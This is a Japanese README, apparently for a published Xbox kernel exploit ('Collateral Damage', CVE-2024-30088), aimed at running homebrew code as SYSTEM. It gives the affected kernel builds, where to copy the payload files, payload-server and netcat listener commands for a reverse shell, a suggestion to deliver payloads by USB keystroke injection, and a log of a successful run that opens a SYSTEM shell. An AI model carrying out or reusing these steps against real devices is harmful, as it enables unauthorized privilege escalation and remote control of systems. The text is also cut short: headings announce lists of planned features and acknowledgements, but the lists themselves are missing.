
CVE-2024-30088を利用したXbox SystemOS用カーネルエクスプロイト
Collateral Damage は、CVE-2024-30088 を利用した Xbox SystemOS 向けカーネルエクスプロイトです。 対象は、カーネルバージョン 25398.4478、25398.4908、25398.4909 を実行している Xbox One および Xbox Series 本体です。初期エントリポイントは Game Script UWP アプリケーションです。
最初のステージペイロード、PE ローダー、ネットワークローダーは Solstice によって提供されます。
このエクスプロイトは、Emma Kirkpatrick(脆弱性の発見と悪用)と Lander Brandt(Solstice)によって開発されました。
ペイロードを Xbox 本体にローカル配置するには、Adv File Explorer (FullTrust) のようなフルトラストエクスプローラーを推奨します。あるいは、初期ペイロードを USB キーボードシミュレーター(ラバーダッキーなど)経由で配信し、後続のペイロードステージをネットワーク経由で読み込むこともできます。
ここで提供されているリバースシェルの例では、本体がネットワークに接続されている必要があります。本体をネットワークに接続する際は、インターネットに接続して更新しないよう十分注意してください。少なくとも DNS を無効なサーバーに設定するなどして、Xbox LIVE への接続を可能な限りブロックしてください。
このエクスプロイトは完全に信頼できるものではありません。CPU サイドチャネルと競合状態に依存しており、どちらも失敗する可能性があります。失敗した場合、エクスプロイトはネットワーク出力で失敗を通知するか、本体自体がクラッシュして再起動する可能性があります。
gamescript_autosave_network.txt または gamescript_autosave.txt の 7 行目を、PC のローカル IP に変更します。
gamescript_autosave.txt、stage2.bin、run.exe を本体の Game Script アプリケーションの LocalState ディレクトリにコピーします(Q:\Users\UserMgr0\AppData\Local\Packages\27878ConstantineTarasenko.458004FD2C47C_c8b3w9r5va522\LocalState\)。gamescript_autosave_network.txt の内容を GameScript ウィンドウに入力します。stage2.bin と run.exe を payload_server_win_x64.exe --stage2 stage2.bin --run run.exe で配信します。nc64.exe -lvnp 7070)。listening on [any] 7070 ...
connect to [192.168.0.61] from (UNKNOWN) [192.168.0.130] 49665
Collateral Damage - @carrot_c4k3 & @landaire (exploits.forsale)
Build number: 25398.4478
Attempting to find kernel base...
Found likely kernel base: FFFFF80AF9800000
Attempting exploit...
Exploit succeeded! Running payload!
Microsoft Windows [Version 10.0.25398.4478]
Copyright (c) Microsoft Corporation. All rights reserved.
S:\>
Xbox にホームブリューを読み込むための使いやすいツールにするには、まだ多くの追加作業が必要ですが、これが良い出発点になれば幸いです :) SYSTEM としてコードを実行してみたい場合は、post_exploit.c の post_exploit 関数にコードを記述できます。
やるべきことはまだたくさんありますが、カーネル部分は完成したので、コミュニティと共有して開発者が SYSTEM 権限でいろいろ試せるようにしたいと思いました。今後追加したいと考えているものをいくつか挙げます:
追加のアイデアも歓迎します :)
この開発を通じてアイデアを出し合い、知識と時間を共有してくれたすべての人に感謝します!!! 特に感謝を伝えたい人々は以下のとおりです: